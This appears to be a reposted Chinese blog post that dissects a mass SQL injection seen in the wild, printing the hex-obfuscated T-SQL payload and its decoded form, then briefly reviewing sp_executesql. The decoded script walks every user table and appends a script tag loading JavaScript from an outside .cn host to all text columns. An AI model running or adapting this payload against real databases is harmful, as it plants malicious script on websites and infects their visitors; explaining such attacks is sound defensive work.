• SQL注入


    今天在博客园上看到的一处SQL注入的新方式 ,先看一下注入的SQL语句

     

    dEcLaRe @s vArChAr(8000) sEt @s=0x4465636c617265204054205661726368617228323535292c4043205661726368617228323535290d0a4465636c617265205461626c655f437572736f7220437572736f7220466f722053656c65637420412e4e616d652c422e4e616d652046726f6d205379736f626a6563747320412c537973636f6c756d6e73204220576865726520412e49643d422e496420416e6420412e58747970653d27752720416e642028422e58747970653d3939204f7220422e58747970653d3335204f7220422e58747970653d323331204f7220422e58747970653d31363729204f70656e205461626c655f437572736f72204665746368204e6578742046726f6d20205461626c655f437572736f7220496e746f2040542c4043205768696c6528404046657463685f5374617475733d302920426567696e20457865632827757064617465205b272b40542b275d20536574205b272b40432b275d3d527472696d28436f6e7665727428566172636861722838303030292c5b272b40432b275d29292b27273c736372697074207372633d687474703a2f2f386638656c336c2e636e2f302e6a733e3c2f7363726970743e272727294665746368204e6578742046726f6d20205461626c655f437572736f7220496e746f2040542c404320456e6420436c6f7365205461626c655f437572736f72204465616c6c6f63617465205461626c655f437572736f72 eXeC(@s);--

     

     

    大致看上去就是定义了一个 SQL字符串变量,然后使用EXEC 来动态执行这个SQL字符串,但这个字符串是什么意思呢,一堆十六进制代码表示的是啥呢

    在查询分析器里,把exec 改为 print ,@S变量的内容会现出原形,实际的内容是

     

    Declare @T Varchar(255),@C Varchar(255)
    Declare Table_Cursor Cursor For
     Select A.Name,B.Name From Sysobjects A,Syscolumns B
      Where A.Id=B.Id And A.Xtype='u' And (B.Xtype=99 Or B.Xtype=35 Or B.Xtype=231 Or B.Xtype=167)

     Open Table_Cursor Fetch Next From  Table_Cursor Into @T,@C

     While(@@Fetch_Status=0)
     Begin
      Exec('update ['+@T+'] Set ['+@C+']=Rtrim(Convert(Varchar(8000),['+@C+']))+''<script src=http://8f8el3l.cn/0.js></script>''')

      Fetch Next From  Table_Cursor Into @T,@C
     End

    Close Table_Cursor
    Deallocate Table_Cursor

     

    就是遍历整个表,然后把为字符串的字段加上指定的URL

     

     

     

    趁这机会把 sp_executesql又复习了一遍,这个系统存储过程也可以执行动态的SQL语句,功能强大,可支持输出参数,和接收返回值参数

    比如现在有一个存储过程是 pinfun 用于计算一个数的平方并且使用输出参数返回结果,为了能体验sp_executesql也能接收返回值,我在pinfun的结尾硬加入一行 return 23; 用于接收返回值

     

    declare @a as int
    declare @b as int

    set @b=4
    exec sp_executesql  N'exec @r=pinFang @num=@i output'  ,
    N'@i  int output,@r int output '  @i=@b output ,@r=@a output
    print @a
    print @b


       本人博客的文章大部分来自网络转载,因为时间的关系,没有写明转载出处和作者。所以在些郑重的说明:文章只限交流,版权归作者。谢谢

  • 相关阅读:
    jQuery中的Deferred详解和使用
    Windows Server 2003 无法布署.NET Framework4.5 应用解决方案
    jquery 获取父窗口的元素、父窗口、子窗口
    Android USB HOST API
    ASP.NET MVC+Vue.js实现联系人管理
    Vue在ASP.NET MVC中的进行前后端的交互
    JS中 “is not defined” 如何判断defined,defined和undefined 的区别
    Android自定义view实现个人中心设置界面带点击事件
    java 正则表达式(内附例子)
    在asp.net mvc 中使用Autofac
  • 原文地址:https://www.cnblogs.com/wzg0319/p/1542756.html
Copyright © 2020-2023  润新知